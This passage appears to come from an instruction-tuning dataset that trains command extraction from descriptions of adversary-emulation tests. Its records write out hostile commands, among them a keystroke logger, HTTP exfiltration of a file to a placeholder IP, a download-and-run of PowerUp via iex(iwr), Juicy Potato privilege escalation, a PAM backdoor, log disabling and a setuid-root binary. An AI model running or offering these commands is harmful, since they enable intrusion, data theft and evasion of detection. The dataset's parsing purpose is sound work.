    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For keystroke logging, execute this PowerShell command that saves output to a specified file: &\"$PathToAtomicsFolder\\T1056.001\\src\\Get-Keystrokes.ps1\" -LogPath #{filepath}",
    "output": "{\"command_list\": [\"&\\\"$PathToAtomicsFolder\\\\T1056.001\\\\src\\\\Get-Keystrokes.ps1\\\" -LogPath #{filepath}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The specified file can be exfiltrated over HTTP with the command: $content = Get-Content #{input_file}\nInvoke-WebRequest -Uri #{ip_address} -Method POST -Body $content\n",
    "output": "{\"command_list\": [\"$content = Get-Content #{input_file}\\nInvoke-WebRequest -Uri #{ip_address} -Method POST -Body $content\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The technique involves exploiting a vulnerable CLSID with Juicy Potato, which can be done via the command: cmd /c '#{potato_path}' -l '#{listening_port}' -t * -p '#{target_exe}' -c '#{target_CLSID}'\n",
    "output": "{\"command_list\": [\"cmd /c '#{potato_path}' -l '#{listening_port}' -t * -p '#{target_exe}' -c '#{target_CLSID}'\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test will modify the PAM configuration by adding a rule that permits any user to su to root without authentication, via the command: sudo sed -i \"\" \"#{index}s,^,#{pam_rule}\\n,g\" #{path_to_pam_conf}\n",
    "output": "{\"command_list\": [\"sudo sed -i \\\"\\\" \\\"#{index}s,^,#{pam_rule}\\\\n,g\\\" #{path_to_pam_conf}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To disable HTTP logging on a Windows IIS web server as observed in Threat Group 3390 (Bronze Union) activities, use the following command: C:\\Windows\\System32\\inetsrv\\appcmd.exe set config \"#{website_name}\" /section:httplogging /dontLog:true. Note that HTTP logging configurations in IIS must be unlocked for this to work.",
    "output": "{\"command_list\": [\"C:\\\\Windows\\\\System32\\\\inetsrv\\\\appcmd.exe set config \\\"#{website_name}\\\" /section:httplogging /dontLog:true\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For making a C source file and setting up its permissions properly, execute these commands: cp #{payload} /tmp/hello.c\nsudo chown root /tmp/hello.c\nsudo make /tmp/hello\nsudo chown root /tmp/hello\nsudo chmod u+s /tmp/hello\n/tmp/hello",
    "output": "{\"command_list\": [\"cp #{payload} /tmp/hello.c\\nsudo chown root /tmp/hello.c\\nsudo make /tmp/hello\\nsudo chown root /tmp/hello\\nsudo chmod u+s /tmp/hello\\n/tmp/hello\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To query various Windows Registry keys for persistence mechanisms, some of which may succeed or fail depending on the OS, use the following command: reg query \"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Windows\"\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServicesOnce\nreg query HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServicesOnce\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServices\nreg query HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServices\nreg query \"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\Notify\"\nreg query \"HKLM\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\Userinit\"\nreg query \"HKCU\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\\\\\Shell\"\nreg query \"HKLM\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\\\\\Shell\"\nreg query HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\ShellServiceObjectDelayLoad\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnceEx\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\nreg query HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\nreg query HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run\nreg query HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run\nreg query HKLM\\\\system\\\\currentcontrolset\\\\services /s | findstr ImagePath 2>nul | findstr /Ri \".*\\\\.sys$\"\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\nreg query HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\SafeBoot\nreg query \"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Active Setup\\\\Installed Components\"\nreg query \"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Group Policy\\\\Scripts\\\\Startup\"",
    "output": "{\"command_list\": [\"reg query \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Windows\\\"\\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServicesOnce\\nreg query HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServicesOnce\\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServices\\nreg query HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServices\\nreg query \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\Notify\\\"\\nreg query \\\"HKLM\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\Userinit\\\"\\nreg query \\\"HKCU\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\\\\\Shell\\\"\\nreg query \\\"HKLM\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\\\\\Shell\\\"\\nreg query HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\ShellServiceObjectDelayLoad\\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnceEx\\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\nreg query HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\nreg query HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run\\nreg query HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run\\nreg query HKLM\\\\system\\\\currentcontrolset\\\\services /s | findstr ImagePath 2>nul | findstr /Ri \\\".*\\\\.sys$\\\"\\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\nreg query HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\SafeBoot\\nreg query \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Active Setup\\\\Installed Components\\\"\\nreg query \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Group Policy\\\\Scripts\\\\Startup\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete 